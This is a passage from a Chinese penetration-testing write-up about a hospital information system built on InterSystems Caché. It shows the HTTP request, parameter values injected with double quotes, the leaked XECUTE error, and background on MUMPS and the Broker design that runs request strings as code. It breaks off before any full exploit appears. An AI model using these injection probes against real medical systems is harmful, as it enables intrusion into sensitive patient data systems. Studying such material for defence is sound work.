Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8;q=0.8
Cookie: 

Type=CTPCPSpecDR&amp;amp;hospid=2&amp;amp;limit=20&amp;amp;ParentID=TreeRoot
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">POST /imedical/web/csp/dhc.bdp.ext.datatrans.csp?pClassName=web.DHCBL.CT.SSUser&amp;pClassMethod=GetTreeJson HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: </span><span leaf=""><br/></span><span leaf="">Connection: keep-alive</span><span leaf=""><br/></span><span leaf="">Content-Length: 60</span><span leaf=""><br/></span><span leaf="">Origin: </span><span leaf=""><br/></span><span leaf="">X-Requested-With: XMLHttpRequest</span><span leaf=""><br/></span><span leaf="">User-Agent: </span><span leaf=""><br/></span><span leaf="">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</span><span leaf=""><br/></span><span leaf="">Accept: */*</span><span leaf=""><br/></span><span leaf="">Referer:</span><span leaf=""><br/></span><span leaf="">Accept-Encoding: gzip, deflate</span><span leaf=""><br/></span><span leaf="">Accept-Language: zh-CN,zh;q=0.8;q=0.8</span><span leaf=""><br/></span><span leaf="">Cookie: </span><span leaf=""><br/></span><span leaf="">Type=CTPCPSpecDR&amp;hospid=2&amp;limit=20&amp;ParentID=TreeRoot</span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">漏洞证明：</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038774" data-ratio="0.28055555555555556" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=700913ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWzro971t5BNor2ibJbcfu2TQHobcqZNIicqN9F5zQ56WtaFmHJbQIueQ1KgvJbPfOrFnYCXhj0Onv1F8b8XP6ibowN6oicIzYeOEw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x02 初步测试</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">原始响应:</span></p><pre data-language="JSON" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="{&amp;quot;data&amp;quot;:&amp;quot;正常数据&amp;quot;}
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">{</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;data&#34;</span></span><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">:</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;正常数据&#34;</span></span><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">}</span></span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">看到id肯定要试试注入测试。先试试一个双引号。</span></p><pre data-language="JavaScript" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Type=CTPCPSpecDR&amp;amp;hospid=2&amp;quot;&amp;amp;limit=20&amp;amp;ParentID=TreeRoot
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">Type</span></span><span leaf="">=</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">CTPCPSpecDR</span></span><span leaf="">&amp;hospid=</span><span style="color: rgb(0, 92, 197);font-weight: inherit;"><span leaf="">2</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;&amp;limit=20&amp;ParentID=TreeRoot</span></span></code></pre><pre data-language="http" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Error
...
Error: &amp;lt;b&amp;gt;&amp;amp;lt;SYNTAX&amp;amp;gt;zCMExecute+5^web.BDP.sys.Broker.1&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
ErrorNo: &amp;lt;b&amp;gt;5002&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
CSP Page: &amp;lt;b&amp;gt;/imedical/web/csp/dhc.bdp.ext.datatrans.csp&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Namespace: &amp;lt;b&amp;gt;DHC-APP&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Class: &amp;lt;b&amp;gt;web.BDP.sys.Broker&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Routine: &amp;lt;b&amp;gt;web.BDP.sys.Broker.1&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Location: &amp;lt;b&amp;gt;zCMExecute+5&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Line: &amp;lt;b&amp;gt; 	XECUTE myMethod&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">Error</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">Error: &lt;b&gt;&amp;lt;SYNTAX&amp;gt;zCMExecute+5^web.BDP.sys.Broker.1&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">ErrorNo: &lt;b&gt;5002&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">CSP Page: &lt;b&gt;/imedical/web/csp/dhc.bdp.ext.datatrans.csp&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Namespace: &lt;b&gt;DHC-APP&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Class: &lt;b&gt;web.BDP.sys.Broker&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Routine: &lt;b&gt;web.BDP.sys.Broker.1&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Location: &lt;b&gt;zCMExecute+5&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Line: &lt;b&gt; 	XECUTE myMethod&lt;/b&gt;&lt;br&gt;</span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">发现这个报错，会是数据库报错吗？再试试</span></p><pre data-language="JavaScript" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Type=CTPCPSpecDR&amp;amp;hospid=2&amp;quot;&amp;quot;&amp;amp;limit=20&amp;amp;ParentID=TreeRoot
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">Type</span></span><span leaf="">=</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">CTPCPSpecDR</span></span><span leaf="">&amp;hospid=</span><span style="color: rgb(0, 92, 197);font-weight: inherit;"><span leaf="">2</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;&#34;</span></span><span leaf="">&amp;limit=</span><span style="color: rgb(0, 92, 197);font-weight: inherit;"><span leaf="">20</span></span><span leaf="">&amp;</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">ParentID</span></span><span leaf="">=</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">TreeRoot</span></span></code></pre><pre data-language="JSON" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="{&amp;quot;data&amp;quot;:&amp;quot;正常数据&amp;quot;}
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">{</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;data&#34;</span></span><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">:</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;正常数据&#34;</span></span><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">}</span></span></code></pre><pre data-language="JavaScript" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Type=CTPCPSpecDR&amp;amp;hospid=2&amp;quot;&amp;quot;&amp;quot;&amp;amp;limit=20&amp;amp;ParentID=TreeRoot
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">Type</span></span><span leaf="">=</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">CTPCPSpecDR</span></span><span leaf="">&amp;hospid=</span><span style="color: rgb(0, 92, 197);font-weight: inherit;"><span leaf="">2</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;&#34;</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;&amp;limit=20&amp;ParentID=TreeRoot</span></span></code></pre><pre data-language="http" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Error
...
Error: &amp;lt;b&amp;gt;&amp;amp;lt;SYNTAX&amp;amp;gt;zCMExecute+5^web.BDP.sys.Broker.1&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
ErrorNo: &amp;lt;b&amp;gt;5002&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
CSP Page: &amp;lt;b&amp;gt;/imedical/web/csp/dhc.bdp.ext.datatrans.csp&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Namespace: &amp;lt;b&amp;gt;DHC-APP&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Class: &amp;lt;b&amp;gt;web.BDP.sys.Broker&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Routine: &amp;lt;b&amp;gt;web.BDP.sys.Broker.1&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Location: &amp;lt;b&amp;gt;zCMExecute+5&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Line: &amp;lt;b&amp;gt; 	XECUTE myMethod&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">Error</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">Error: &lt;b&gt;&amp;lt;SYNTAX&amp;gt;zCMExecute+5^web.BDP.sys.Broker.1&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">ErrorNo: &lt;b&gt;5002&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">CSP Page: &lt;b&gt;/imedical/web/csp/dhc.bdp.ext.datatrans.csp&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Namespace: &lt;b&gt;DHC-APP&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Class: &lt;b&gt;web.BDP.sys.Broker&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Routine: &lt;b&gt;web.BDP.sys.Broker.1&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Location: &lt;b&gt;zCMExecute+5&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Line: &lt;b&gt; 	XECUTE myMethod&lt;/b&gt;&lt;br&gt;</span></code></pre><pre data-language="JavaScript" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Type=CTPCPSpecDR&amp;amp;hospid=2&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;amp;limit=20&amp;amp;ParentID=TreeRoot
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">Type</span></span><span leaf="">=</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">CTPCPSpecDR</span></span><span leaf="">&amp;hospid=</span><span style="color: rgb(0, 92, 197);font-weight: inherit;"><span leaf="">2</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;&#34;</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;&#34;</span></span><span leaf="">&amp;limit=</span><span style="color: rgb(0, 92, 197);font-weight: inherit;"><span leaf="">20</span></span><span leaf="">&amp;</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">ParentID</span></span><span leaf="">=</span><span style="color: rgb(111, 66, 193);font-weight: inherit;"><span leaf="">TreeRoot</span></span></code></pre><pre data-language="JSON" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="{&amp;quot;data&amp;quot;:&amp;quot;正常数据&amp;quot;}
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">{</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;data&#34;</span></span><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">:</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;正常数据&#34;</span></span><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">}</span></span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">嗯？难道是SQL注入？那我岂不是</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.695054945054945" data-type="png" data-w="728" style="max-width: 100%;height: 251px;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;width: 361px;" data-imgfileid="100038775" src="https://wechat2rss.xlab.app/img-proxy/?k=b79d6137&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdU5NUfQCIQ07fj4QkcfsrlTFshxfboReHjSDg0BEsrOFVAt7AV9A623AqdVU38FOTDic3GFicSC6RQMwamXVevjibZpow6C1pd2MA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8787878787878788" data-type="png" data-w="132" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038772" src="https://wechat2rss.xlab.app/img-proxy/?k=f7f87317&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVrEmyeTibPt4flcw2n8jLfph9ja1MIt7fyXgVoVxkMeBeEELO5vE1FtY7dBvOavDfaicrvlIiaia6smDIibicrrnBItrE8z92NBZXqk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">然而现实给我我迎头重击，sqlmap无论换什么姿势都跑不出，回头一看sqlmap不支持Caché，，，手注也没有办法，回到报错仔细研究了下。看到报错里有关键字，</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">Line: &lt;b&gt; XECUTE myMethod&lt;/b&gt;&lt;br&gt;</span></code><span leaf="">，上网搜索了一下</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">XECUTE</span></code><span leaf="">,确定为Caché数据库，那么问题出在哪了。难道是下图里的&#34;M&#34;程序的问题？</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4675925925925926" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038773" src="https://wechat2rss.xlab.app/img-proxy/?k=d7aa0682&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWP9ibic2RDOwzibbnvEZChz1ibdXKg0BV0zFKmosynYRphggicHz7bfY1soFSoWMicdNRemxqnndRFdeSu3DHDugRIZU0GNulXWnRrc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x03 MUMPS语言和Caché</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">看了不得不了解一下M语言了。</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">在程序语言领域，从我们这一代作为初学者时开始，语言和数据库，好像从来都是分离的。最多就是一些语言和数据库的强关联，例如Java和Oracle，.NET和Sqlserver等等。Mysql诞生于1995年，Oracle诞生于1970，Sqlserver诞生于1980年左右。然而在20世纪60年代，有这么一群不堪忍受病房病例和病人信息记录效率底下的程序员，开发出了数据库和语言为一体的语言--M语言。M语言诞生后因为其高性能的特性，迅速风靡了整个医疗领域，在国内外都有它的身影。1997年，InterSystems公司基于M语言推出了M语言编写的数据库--Caché。为Caché数据库添加了面向对象、SQL支持和高性能缓存技术。由于垂直领域的特性和性能原因，直到今天，Caché在国内外医疗领域依然占有相当大的份额。</span></p><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x04 极速与极简-“精打细算”的语言</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">以Python为对照，M语言的许多值均可进行缩写，例如SET可以缩写为S等等，常见语法和缩写参见下表。</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6064814814814815" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038776" src="https://wechat2rss.xlab.app/img-proxy/?k=822220da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUtC7ZOr6X0Kg4nnVQmQB0kq9yQpZaR5HiaWIdjViazKk2ohYEC4GYrFWG5KlVouoFeAw4HheeGbyFxibs3u77gL54SHNgMf2kG0o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">了解了部分M语言语法后，下一步需要了解关于受测系统的设计模式怎样的。</span></p><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x05 万能插口-Broker架构的短板</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">在报错中，我注意到一个频繁出现的关键词Broker</span></p><pre data-language="http" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="Error
...
Error: &amp;lt;b&amp;gt;&amp;amp;lt;SYNTAX&amp;amp;gt;zCMExecute+5^web.BDP.sys.Broker.1&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
ErrorNo: &amp;lt;b&amp;gt;5002&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
CSP Page: &amp;lt;b&amp;gt;/imedical/web/csp/dhc.bdp.ext.datatrans.csp&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Namespace: &amp;lt;b&amp;gt;DHC-APP&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Class: &amp;lt;b&amp;gt;web.BDP.sys.Broker&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Routine: &amp;lt;b&amp;gt;web.BDP.sys.Broker.1&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Location: &amp;lt;b&amp;gt;zCMExecute+5&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
Line: &amp;lt;b&amp;gt; 	XECUTE myMethod&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">Error</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">Error: &lt;b&gt;&amp;lt;SYNTAX&amp;gt;zCMExecute+5^web.BDP.sys.Broker.1&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">ErrorNo: &lt;b&gt;5002&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">CSP Page: &lt;b&gt;/imedical/web/csp/dhc.bdp.ext.datatrans.csp&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Namespace: &lt;b&gt;DHC-APP&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Class: &lt;b&gt;web.BDP.sys.Broker&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Routine: &lt;b&gt;web.BDP.sys.Broker.1&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Location: &lt;b&gt;zCMExecute+5&lt;/b&gt;&lt;br&gt;</span><span leaf=""><br/></span><span leaf="">Line: &lt;b&gt; 	XECUTE myMethod&lt;/b&gt;&lt;br&gt;</span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">如果你用过插座，你就能理解Borker。插座不关心插头连接的是什么电器，插座只需要提供电流就可以。类比到编程里，前端的请求在后端，只需要前端请求里携带好类名，方法名，参数，直接去后端找相关的业务逻辑。在M语言的设计里，这个过程更加便捷，通过上表清楚XECUTE可以直接将字符串当作代码运行，只需要用以下代码，就可以实现一个前后端之间的&#34;插座&#34;。</span></p><pre data-language="JavaScript" style="white-space: pre-wrap;background-color: rgb(246, 